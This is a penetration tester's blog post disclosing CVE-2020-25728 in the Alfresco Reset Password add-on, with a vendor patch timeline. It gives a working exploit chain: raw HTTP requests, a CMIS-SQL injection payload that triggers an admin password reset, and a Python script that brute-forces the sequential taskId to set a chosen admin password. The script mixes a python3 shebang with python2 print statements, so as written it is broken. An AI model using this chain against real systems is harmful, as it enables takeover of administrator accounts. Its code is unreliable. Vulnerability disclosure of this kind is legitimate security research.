This post is as much about the penetration testing process and the 0-day approach as it is about the vulnerability. I discovered a 0-day vulnerability in one of the most used plugin for Password Reset on Alfresco Content Services framework.

TL;DR Link to heading

I was performing a penetration test recently and really hadn’t found much on the scoped server. So i start by reviewing the application components hoping to find 0-day vulnerabilities, and indeed i found an intrusting third-party component in the application which seems to be vulnerable.

The 0-day Approach Link to heading

In order to take the 0-day approach, first thing is to simulate the target environment and the easiest way is by using docker, so i found this nice docker-compose file on github acs-community-deployment to deploy the entire Alfresco Content Services (Community Edition) on my lab environment.

Components discovery Link to heading

After deploying Alfresco on my lab, I start by comparing the one on the target environment with the one my lab and i quickly figure out that there is no Create account and Forget Password? buttons by default on my lab !

The Target Server: Link to heading

The Lab Server: Link to heading

Next, I start by analyzing the HTTP requests going from my browser to the server when i click on the Forget Password? button and i found out that all requests is being sent to /share/proxy/alfresco-noauth/com/flex-solution/reset-password.

With a quick google search i figure out that the Forget Password? button is being handled by a plugin called Alfresco Reset Password add-on

Vulnerabilities discovery Link to heading

Blind-boolean-based CMIS-SQL Injection Link to heading

Alfresco Reset Password add-on is using CMIS-SQL to query data from Alfresco, which is a read-ony query language for SELECT statement and with limited functions (like, UPPER, LOWER, etc…).

Moving forward, I discover that the Reset Password is suffering from possible CMIS-SQL Injection when adding a single quote (') in the e-mail address input!

Request to the Target Server: Link to heading

POST /share/proxy/alfresco-noauth/com/flex-solution/reset-password HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://target.com/share/page/
X-Requested-With: application/json
Content-Type: application/json
Content-Length: 61
Connection: close
Cookie: JSESSIONID=C8207D808B749934EA6DACC4A1BF23A1; _alfTest=_alfTest

{
    "userName":"[email protected]'"
}

Response from the Target Server: Link to heading

HTTP/1.1 500 Internal Server Error
Date: Thu, 03 Sep 2020 22:19:05 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_auth_kerb/5.4
Strict-Transport-Security: max-age=315536000; includeSubDomains
X-Xss-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Content-Type: application/json;charset=UTF-8
Content-Length: 467
matched: externe-No-cockie-CAS
Connection: close

{
   "status":{
      "code":500,
      "name":"Internal Error",
      "description":"An error inside the HTTP server which prevented it from fulfilling the request."
   },
   "message":"08040025 Wrapped Exception (with status template): line 1:59 mismatched character '<EOF>' expecting '''",
   "exception":"",
   "callstack":[
      
   ],
   "server":"Community v5.2.0 (r135134-b14) schema 10,005",
   "time":"Sep 4, 2020 12:19:05 AM"
}

Authentication Bypass Link to heading

Alfresco Reset Password add-on’s WorkFlow: Link to heading

Following the Workflow of the Reset Password add-on, we can see that in Step 1 the application will sent a Reset Link via email to the user in this format : http://target.com/share/noauth/changePassWF?userToken=user_test&taskId=activiti$70130&token=45ed2d9f-d654-453b-8c26-f14ad423112f

If the user click on the link, the application will verify the (userToken + taskId + token) which is Step 2. If the verification succeed, the application will prompt the user to enter the New Password

Once the user click submit the application will verify the (userToken + taskId + new-password) in Step 3. If the verification succeed, the application will change the Password!

Can you Spot the bug in this Workflow ? Link to heading

We have two bugs in this Workflow:

  • The taskId is an INCREMENT integer value, which can be easily bruteforced !
  • We can SKIP the Step 2 and go directly from Step 1 to Step 3 !

PS: We figure out that the taskId is an INCREMENT value because we comparing the difference between multiple password reset links!

Exploitation Link to heading

Combining those two bugs and the previous CMIS-SQL Injection vulnerability, we can bypass the authentication and change the password for the admin account!

Step 1 (Optional) Link to heading

In this step we will create/use an existing account and ask for Password Reset.

http://target.com/share/noauth/changePassWF?userToken=user_test&taskId=activiti$70130&token=45ed2d9f-d654-453b-8c26-f14ad423112f

Once we receive the Password Reset Link on the user inbox, the most important part will be the taskId value which is 70130, we will save this value for later use!

PS: This step is not necessary, however it will save us a lot of time when bruteforcing!

Step 2 Link to heading

In this step we will trigger a Password Reset for the ADMIN account, however since we don’t have the Admin’s email address, we will use the CMIS-SQL Injection vulnerability.

Admin Password Reset: Link to heading

POST /share/proxy/alfresco-noauth/com/flex-solution/reset-password HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://target.com/share/page/
X-Requested-With: application/json
Content-Type: application/json
Content-Length: 61
Connection: close
Cookie: JSESSIONID=C8207D808B749934EA6DACC4A1BF23A1; _alfTest=_alfTest

{
    "userName":"[email protected]' OR cm:userName like '%admin%"
}

Because the email [email protected] does not exist in the database and we inject ' OR cm:userName like '%admin% in the e-mail input, this will makes the Reset Password add-on send and trigger a password reset event for the admin account.

Step 3 Link to heading

So far, we have successfully:

  • Retrieve the last taskId value.
  • Trigger a Password Reset event for the Admin account.

Now we will run a python script to bruteforce the correct taskId value assigned to the Admin account.

#!/usr/bin/python3

import requests
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

host = "https://target.com"
victimUser = "admin"
newPassword = "Le1m3in!"
retreivedTaskId = 70130 # Retrieved taskId


header = {
    'Host': 'target.com',
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
    'Accept': '*/*',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/json',
    'Connection': 'close',
}


for i in range(1000):
    payload = {
        "new-password":newPassword,
        "new-password-confirm":newPassword,
        "taskId":"activiti${}".format(retreivedTaskId + i),
        "userToken":victimUser,
        "save":"undefined"
    }
    r = requests.post(host + '/share/proxy/alfresco-noauth/com/flex-solution/applyChangedPassword', json=payload, headers=header, verify=False)
    if (int(r.status_code) == 200):
        print "Password Changed !"
        print "User Name : {}".format(victimUser)
        print "Task ID : {}".format(retreivedTaskId + i)
        print "Password : {}".format(newPassword)
        break

PWN Link to heading

Timeline Link to heading

  • 01/09/2020: Vulnerability Discovery
  • 04/09/2020: Vulnerabilities Report
  • 16/09/2020: Vulnerability Patch and the Vendor release a new version 1.2.0
  • 17/09/2020: CVE assigned CVE-2020-25728